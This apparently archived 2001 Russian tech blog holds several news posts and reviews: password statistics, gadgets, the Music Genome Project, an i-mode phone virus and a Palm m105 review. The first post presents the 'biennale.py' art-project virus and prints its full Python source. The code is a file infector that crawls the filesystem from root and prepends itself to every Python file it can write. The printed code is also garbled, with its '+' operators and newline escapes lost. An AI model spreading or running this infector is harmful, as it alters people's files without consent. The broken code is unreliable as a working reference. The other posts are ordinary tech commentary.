Главная

Компьютерный вирус как произведение искусства

baranoff

(19:38 27.06.01)

Кто сказал, что компьютерные вирусы это плохо? Это прекрасно!

Европейское сообщество нет-арта с концептуальным названием 0100101110101101.ORG, в сотрудничестве с программерской командой epidemiC, идеализирующей написание компьютерных вирусов (почитайте их сайт для интереса) решили устроить на крупном ежегодном фестивале искусства Venice Bienale беспрецедентную акцию. Суть акции заключается в создании и распротранении вируса biennale.py. Цель акции - провозгласить компьютерный вирус произведением искусства. Как я уже и сказал, организаторы идеализируют компьютерный вирус как явление. Прочтите эти строки и убедитесь:

Computer viruses or self-reproducing programs behave according to the same modus operandi of biological viruses: they attack an "organism", that is a file, sometime to settle and install their own habitat, and in other more rare cases, to destroy it. Viruses, thus, spread respecting the species conservation laws and the survival instinct. A virus is. More, a virus wants to exist instinctively and without mediations, and it is just this the main and only function of "biennale.py": to survive.

The creation of a virus tout court, free and without an end or a goal, is in the worst case a test, a survey on the limits of the Net, but in the best case is a form of global counterpower, generally a pre-political form, but that resists the strong powers, it puts them under a new balance, it shakes and reassembles them. A new idea of a "virus that is not just a virus" is gaining acceptance, and that it can represent the outbreak of the social into the most social thing of all: the Net.

Я отказываюсь переводить эти псевдофилософские изыски :-). Вирус biennale.py сделан максимально безопасным, ибо цель орагнизаторов - показать красоту кода, а не уничтожить Flash BIOS. Вирус написан на языке Python (утверждается, что это первый и единственный вирус на Пифоне) и поражает исключительно программы, написанные на том же языке. Зараженный файл при запуске выводит в консоль следующее сообщение:

This file was contaminated by biennale.py, the world slowest virus. Either Linux or Windows, biennale.py is definetely the first Python virus. 49th Biennale di Venezia.

Про "самый медленный в мире вирус" очень точно подмечено. Biennale.py не является червем и не распространяется самостоятельно через Интернет. Передается только дедовскими способами и... на маечках с написанным на спине исходным кодом. Кстати, маечки должны символизировать человеческий фактор распространения компьютерного вируса :-). Всем, кто понимает Python, привожу исходник произведения искусства. Цените.

# biennale.py ________________ go         to _____ 49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG __   __ [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
    try:
        soul = open(guest, "r")
        body = soul.read()
        soul.close()
        if find(body, "[epidemiC]") == -1:
            soul = open(guest, "w")
            soul.write(mybody   "nn"   body)
            soul.close()
    except IOError: pass        

def chat(party, guest):
    if split(guest, ".")[-1] in ("py", "pyw"):
        fornicate(party   guest)

def join(party):
    try:
        if not S_ISLNK(os.stat(party)[ST_MODE]):
            guestbook = listdir(party)
            if party != "/": party = party   "/"
            if not lower(party) in wank and not "__init__.py" in guestbook:
                for guest in guestbook:
                    chat(party, guest)
                    join(party   guest)
    except OSError: pass
        
if __name__ == '__main__':
        mysoul = open(sys.argv[0])
        mybody = mysoul.read()
        mybody = mybody[:find(mybody, "#"*3)   3]
        mysoul.close()
        blacklist = replace(split(sys.exec_prefix,":")[-1], "", "/")
        if blacklist[-1] != "/": blacklist = blacklist   "/"
        wank = [lower(blacklist), "/proc/", "/dev/"]
        join("/")
        print ">      This file was contaminated by biennale.py, the world slowest virus."
        print "Either Linux or Windows, biennale.py is definetely the first Python virus."
        print "[epidemiC] http://www.epidemic.ws __   __ HTTP://WWW.0100101110101101.ORG "
        print "> ______________________ 49th Biennale di Venezia ______________________ <"
###

Сcылки по теме: Want to See Some Really Sick Art?

То, что я сейчас скажу, для большинства читателей не должно стать сюрпризом. Ни для кого не секрет, что большинство, гм..., "пользователей ПК" более чем халатно относятся к такому банальному средству защиты информации, как пароль. Если большинство веб-сервисов уже не разрешают делать пароли типа qwerty и password (многие ведутся на фразу Type your PASSWORD и печатают, правильно: password), то общей картины это не меняет.

Так вот, если я сейчас никого и не удивлю, то сообщу цифры, которыми вы сможете оперировать в споре о проблемах использования паролей в современном обществе :-). Компания CentralNic, занимающаяся регистрацией доменных имен провела исследование, согласно которому 47% (сорок семь процентов - почти половина, для тех, кто в танке :-)) пользователей используют в качестве какого бы то ни было пароля своем имя или ник. 32% - название любимой футбольной команды или шоу-звезды. По словам представителя компании, с которым я полностью согласен, "много людей считают, что пароль должен олицетворять их личность".

Вот такие вот прискорбные цифры: 47 плюс 32 = 80. 80% паролей можно подобрать либо вообще не прибегая к брутфорсу, либо брутфорсом по словарю знаменитостей. Как только что выразился один мой коллега, "достаточно словаря на 200 слов в руке". Человеческий фактор, как всегда, подводит любую, самую защищенную систему.

P.S. Кстати, сейчас на сайте CentralNic висит опрос на тему "Как часто вы меняете пароль?". Пока ситуация выглядит следующим образом: never (46%), weekly (16%), every 1 or 2 months (17%), once a year (20%). Ну что тут можно еще сказать? Давайте в школах культуру придумывания паролей преподавать :-)

Сcылки по теме: Computer security risk from 'lifestyle' CentralNic

Если быть до конца честным, то в моей душе все еще живет сомнение насчет того, не является ли продукт Zero компании Wolf-Garten попросту говоря уткой. Судите сами.

Чудо техники под названием Zero является по сути газонокосилкой (правда, как утверждается на сайте "газонокосилкой будущего"), срезающей траву с помощью лазера, способной развивать скорость до 140 км/ч, да еще и оснащенной выходом в Интернет. К добавок ко всему Zero - двухместная газонокосилка :-). Заинтриговал? На самом деле все очень просто: преследуя идею создать газонокосилку будущего, конструкторы Wolf-Garden взяли раму от автомобиля (вернее сказать: автомобильчика) Mercedes Smart, сделали свой корпус и прилепили к бамперу супер-мега-интеллектуальную лазерную газонокосилку. Все это снабдили компьютером и беспроводным телекоммуникационным оборудованием (каким - пока неизвестно) для выхода в Интернет. Все вместе взятое с трудом можно назвать газонокосилкой, но позиционируется агрегат именно так.

Среди достоинств косилки высокая скорость передвижения, бесшумность лазерного покоса, экологичность (цитирую: state-of-the-art fuel technology), продвинутый механизм отработки травы и так далее. Для прикола можно почитать официальный preview :-)

Теперь то, чего вы все, я знаю, с нетерпением ждали :-) - цена. Она, в общем-то, оправдана - $30 000. Видимо Wolf-Garten шутить изволили. Хочется верить, они хорошо изучили свою аудиторию. За такие деньги, имхо, можно нанять армию газонокосильщиков. Надеюсь, что в будущем каждый сможет позволить себе газонокосилку за $30 000 :-).

Сcылки по теме: ZZZ online Previewing the Future of Lawn Care

Существует, конечно, и другой - более простой вариант: включаем радио и слушаем, что там гоняют. После чего благополучно западаем на то, что популярно и хорошо раскручено. Но душа-то просит чего-то нового - вот и принимаемся искать "неизвестную" музыку. Лично у меня подход такой - IRC-Napster-Winamp-мои_уши :-).

Компания Savage Beast Technologies решила помочь искушенным меломанам с помощью своего Music Genome Project - системы описания музыкальных композиций по примерно 400 характеристикам, в числе которых ритм, лексические параметры текстов, используемые инструменты и т.д. Использование такого количества объективных параметров позволяет, по утверждению Savage Beast, довольно точно подбирать композицию под музыкальные желания клиента, приэтом совсем необязательно задавать жанровые рамки.

Судя по многочисленным обещаниям на сайте разработчиков, Music Gemome Project обещает быть очень гибкой и удобной в плане удовлетворения музыкальных пристрастий штукой. Пока механизм пользования базой данных MGP за тоннами фимиама из пресс-релизов мне представляется довольно туманно. Единственное, что четко упоминается в описании действия поисковика проекта - необходимость указания Source Song - то есть некой нравящейся вам песни, подобия которой вы хотели бы услышать.

Реально действующей демки многообещающей технологии я не видел - она пока доступна for inside use only :-(. Надеюсь, Music Genome Project оправдает мои меломанские ожидания...

Кстати, утверждается, что в базе MGP уже 15000 композиций...

P.S. MGP также планируется использовать как средство поиска плагиата. То есть берем известную песню и находим ее более-менее точные копии в чужом исполнении. Проблемой уже озадачилась Universal Music Group.
Сcылки по теме: Pop pickers The End-User Music Search and Discovery Experience

Издевательства над благородным устройством продолжаются. Немецкие констукторы из Essen University Hospital разработали телефон, способный измерять пульс :-). Девайс предназначен для тех, кто жалуется на работу сердца. Внедрением разработки в жизнь будет заниматься компания Vitaphone. Принцип работы чудо-аппарата не сложен: телефон, который нужно носить на груди, оснащен четырьмя сенсорами, периодически измеряющими скорость сокращения сердца.

Информация посылается в сервис-центр, где на лету обрабатывается. Если замечены сильные отклонения от нормы, то в известность ставится скорая...

Идея достойная, но, воплощенная в телефоне, довольно сильно бьет по карману. Предположительная стоимость аппарата - 500 фунтов, абонентская плата в сервис-центре - 30 фунтов. Думается мне, что легче себе пульс чем-то подешевле померить и самостоятельно врачу позвонить :-).

Сcылки по теме: Heart patients to have check-ups via their mobiles

С тех пор, как мобильные телефоны научили вылезать в Интернет, пусть и с помощью убогого WAP (Европа, Америка) и чуть менее убогого I-mode (Япония), возникло здоровое опасение: а не могут ли на мобильниках размножаться вирусы? Ведь возможности-то расширились, встроеннный софт стал более-менее функциональным, а следовательно более сложным и дырявым. А вирус на мобильнике будет поопаснее своего аналога на компьютере хотя бы потому, что копаться во встроенном софте телефона и избавляться от вредителя, мягко говоря, проблематично. До сих пор человечество не сталкивалось с мобильным вирусом. Абоненты японского оператора NTT DoCoMo столкнулись. И, оказывается, не первый раз.

Если говорить о мобильной связи, то Япония тут впереди планеты всей. У счастливых японцев есть оператор NTT DoCoMo со своей услугой i-mode - аналогом WAP без повременной оплаты (последнее словосочетание должно быть подчеркнуто жирной красной линией). В частности, пользователи i-mode имеют постоянный доступ к электронной почте. Оказывается, что i-mode'овский софт, стоящий на продающихся в Японии сотовых телефонах таких монстров, как NEC, Fujitsu, Mitsubishi Electric, Sony и Matsushita дыряв, и в текст почтового сообщения можно вставить кусок программного кода, который, в зависимости от фантазии автора, может заставить телефон звонить, посылать зараженные письма и просто повисать :-). Признаки вируса тут налицо.

NTT DoCoMo решила предупредить пользователей (от бага могут пострадать 13,250,000 абонентов, всего у NTT - 24,000,000) о возможной опасности, при этом утверждая, что "пользователи пока не жаловались", но "мы подстраховываемся". То есть факт появления вируса зафиксирован и кто-то смог найти дырку в общем-то закрытом мобильном софте.

Вирус срабатывает при простом открытии прибывшего сообщения. Он способен рассылать зараженные письма и лихорадочно звонить либо по произвольным телефонам, либо по телефону "110" - местному аналогу "911". Что может случиться, если тринадцать миллионов телефонов одновременно позвонят в службу спасения или, того хуже, начнут "перезваниваться" никому объяснять не надо. Эффект обеспечен :-). NTT DoCoMo клянется бесплатно патчить все пострадавшие мобильники и дырявых больше не продавать.

Самое интересное заключается в том, что подобная проблема возникала год назад - в июле 2000, и тогда в софте была обнаружена другая дыра.

Рано или поздно, если создатели мобильного ПО (пока говорию относительно к Японии) не изменят свои взгляды на безопасность, операторы просто не будут успевать патчить все мобильники, а вирус будет распространяться быстрее, а следовательно телефонного хаоса не избежать...

Мораль: проблема мобильных вирусов уже существует. Время спокойствия и безмятежности прошло :-). Крепитесь

Сcылки по теме: Hello 911, I've Got a Virus

Теперь перейдем к делу. Проблема эффективного поиска информации в Интернете давно волнует лучшие умы компьютерного сообщества. Разработчики из University of Illinois тоже озадачились этой проблемой и создали VisIT - средство для визуального поиска информации. Что скрывается за словосочетанием "визуальный поиск" я и расскажу :-).

Аббревиатура VisIT означает Visualization Information Tool, что в переводе означает "инструмент визуализации информации" (даже английского знать не надо :-)). VisIT - написанное на яве приложение, использующее традиционные поисковые машины для (правильно!) поиска :-). К традиционным машинам относятся Google, Altavista, Fast, Excite и др. Так как dz online - не энциклопедия "Интернет для чайников" (увы), то объяснять как выглядит выдача традиционных поисковых машин никому, я думаю, не надо.

"Визуализированность" VisIT заключается в том, что его выдача организована в виде иконок, символизирующих сайты с нужной информацией и отдельные страницы на них. Взаимные ссылки показаны стрелочками. Можно посмотреть текстовое содержимое страницы, не открывая браузер, что, на мой взгляд, очень удобно. Ищет VisIT действительно хорошо и выдает вполне релевантные сайты, по крайней мере мою домашнюю страничку огромной давности исправно выдает по запросу Andrew Baranoff.

У каждого свое отношение к подобным новшествам, но лично мне метод работы VisIT понравился, эффективность, как говорится, налицо. Все желающие могут бесплатно скачать бету. Сайт разработки - http://www.visit.uiuc.edu/. На нем собственно лежит бета и вся полезная информация, там же нужно регистрироваться. Слово "бета" произнесено не просто так, а говорит о том, что глюки все-таки есть :-). Например, при запуске VisIT нужно... отключать русскую раскладку клавиатуры, потому что в поле для залогинивания не работает переключатель раскладки, а по умолчанию начинает использоваться русская клавиатура :-).

Резюмировать продукт, мне кажется, можно только субъективно, что я и сделал :-). Тем не менее всем советую скачать 3 метра и посмотреть на это чудо прогресса своими глазами - не пожалеете.

P.S. О скорости работы ничего сказать не могу, так как продукт тестировался только на толстом яндексовом канале, и на нем она (скорость) неплохая.

Начнем с вынесения благодарности. Palm m105 для тестирования предоставила компания enote.ru в лице сотрудника, по совместительству читателя dz online, Бориса Лозовского.

Вместо вступления:
Для чистоты эксперимента вся эта статья пишется на подопытном палме. Можно считать это заявление аргументом в пользу удобства граффити :-)

Ну-с, начнем
Так получилось, что новый палм попал в мои руки чрезвычайно вовремя. Я как раз стал испытывать нехватку места в телефонной книге сотового, листочков в блокноте для записей и просто естественной памяти, для того, чтобы удержать все бредовые идеи и задания на день. Получив в руки Palm я резко ощутил смысл словосочетания personal digital assistant. Действительно assistant, не врут буржуи :-). И строить, и жить помогает. Но давайте обо всем по порядку. Перед тем, как начать, стоит отметить, что m105 - всего лишь расширенная версия m100, так что для тех, кто уже давно пользует сотыми палмами, некоторые факты могут показаться знакомыми.

Первое, на что обращаешь внимание, доставая новый Palm из коробки - дизайн. После Palm III m105 выглядит даже чересчур экстравагантно, однако держать недавнее творение Palm Inc. в руках одно удовольствие. Корпус хорошо лежит в ладони, удобная крышечка легко откидывается и не мешает при работе, обтекаемая форма корпуса прекрасно сказыватся на аэродинамических качествах модели (шутка, разумеется :-)). Экран как бы вдавлен внутрь корпуса, что надежно защищает его при падении. Ударопрочность m100/105 - отдельный разговор. В списке фич m105 она указывается и совершенно заслуженно. За время пользования подопытный палм успел побывать в нескольких экстремальных ситуациях и успел пройти своеобразный краш-тест: раза три падал с метровой высоты на асфальт, причем экраном вниз. Третий палм совершенно бесспорно лишился бы экрана. m105 хоть бы что: только корпус немного поцарапался :-). Но учитывая, что "сотые" обладают модной функцией смены панелей, царапание корпуса перестает быть проблемой.

Размеры и вес "сотых", на мой взгляд, просто идеальны. То есть меньше уже не прилично, а больше не надо. За две недели пользования m105 я наверное раз сто слышал удивленные возгласы владельцев третих палмов: "Ах! Какой же у него маленький экран!" Я, видимо, уже привык, но с самой экранотребовательной задачей, чтением электронных книг, m105 справляется, как мне кажется, довольно неплохо. Небольшие размеры экрана прекрасно компенсируются его четкостью. Фраза advanced LCD screen в спецификациях не с потолка притянута и экран m105 действительно НАМНОГО четче и гораздо лучше смотрится при дневном свете, чем экраны Palm III и V. Не в обиду владельцам этих PDA хочется сказать, что серый на экране m105 действительно СЕРЫЙ, а не с зеленоватым отливом.

Могу без зазрений совести заявить, что m105 - самый эргономичный карманный компьютер, который мне доводилось держать в руках, а держать мне доводилось почти все существующие на рынке модели, благо их не так уж и много :-). Пусть меня назовут человеком, сдвинутым на продукции Palm Inc., но никакой кирпичный и гофрированный (под шланг, наверное :-)) Visor с m10X даже рядом не стоит. По поводу бренного тела палма ака корпуса у меня есть только одно замечание: после дня ношения компьютера в кармане с него начисто стерся serial number и это меня несколько напугало: что я буду делать, если придется переставлять Palm Desktop, а он устанавливается только с сериалом? Успокаивает только то, что при определенном освещении и под определенным углом номер все же можно с трудом разглядеть.

О достоинствах PalmOS, думаю, рассказывать уже никому не стоит, поэтому восторгов по поводу того, какая удобная штука палмовская операционка на этот раз не будет. Я просто скажу свое веское слово в борьбе PalmPowered c PocketPC. Так вот, покетписи, по моему глубокому убеждению, - это неудачная пародия на палм, стоящая в три раза больше и требующая в пять раз больше ресурсов. Если есть среди читателей поклонники псевдокарманных (признайтесь, ну не карманные они по большому счету) компьютеров с цветным экраном, дорогим железом и сильно урезанными виндами, скрывающихся за гордым названием PocketPC, то я попрошу оных назвать мне хоть одну актуальную для PDA задачу, с которой не смог бы справиться более простой, дешевый эргономичный и надежный PalmPowered компьютер. Цветной экран на карманном компьютере, господа, это все равно что вертолетные лопасти у машины: взлететь не взлетит, но выглядит внушительнее :-). Да и приложений для PalmOS в разы больше, чем для WinCE, а платить 500 долларов, чтобы получить себе Microsoft Office в кармане я не хочу. Все, веское слово сказано :-).

Вернемся к m105. От своей предшественницы эта модель выгодно отличается наличием двух достоинств. Достоинство первое и самое важное - 8 иегабайт памяти вместо 2. 8 мегабайт пользователю PalmOS хватает по горло. При всей моей извращенности и нездоровом пристрастии к ненужному софту, мне больше 4 Мб забивать пока не удавалось, и это притом, что в излишествах типа 15 книжек в памяти одновременно я себе не отказывал. Достоинство второе - крэдл, который у m100 отсутствовал. Но это на любителя, есть люди, которым кабелем для синхронизации пользоваться удобнее.

Можно уже опустить ложечку дегтя в бочку мела с крупной надписью Palm rulez foreva и поговорить о недостатках, вернее недостатке. Единственный, на мой взгляд, и самый большой недостаток m100/105 - невозможность смены операционки. Вот тут уже PalmOS 4.0 вышла и есть в ней, надо сказать, пара довольно удобных фич, например, возможность одновременно писать граффити и пользоваться экранной клавиатурой... А я операционку поменять так и не смогу, обидно, черт возьми. Придется, видимо, m500 на тестирование брать :-). Кстати, чуть не забыл, m105 я с радостью оставляю у себя в личном пользовании. Можете поздравить меня с удачным приобретением :-).

Приложение: список программ, установленных на палме на момент написания статьи.

• Hack master
  ну куда же без него, родимого :-)
• Chess genius
  Я испытываю нездоровое пристрастие к шахматам
• iSilo
  Это чтобы книжки умные читать
• Zap 2000
  Ну это просто культ :-) Кто не играл в Zap, тот не жил.
• Hand map
  Программа для пользования картами. В данный момент в пользовании карта Москвы - теперь меня не пугают незнакомые адреса :-).
• OmniRemote
  Как и следует из названия, прога, преврашающая палм в универсальный ПДУ. Перестала меня радовать, после того, как я наприкалывался, выключая телевизоры в магазинных витринах :-).
• Fire Viewer
  Смотреть картинки на экране с 16 градациями серого тоже иногда бывает полезно
• Teal Paint
  Ну чем я не художник!
• Метро
  Прога, вычисляющая кратчайшее расстояние между станциями и оценивающее время переезда во всех метрополитенах мира. Успешно протестирована в московском и минском метро.
• SolFree
  Набор пасьянсов для скучных пресс-конференций :-).

P.S. Ой, а область ввода граффити все же царапается, если такие опусы писать... :-( Придется, видимо, в следующий раз скотч наклеивать.
Сcылки по теме: enote.ru Palm m105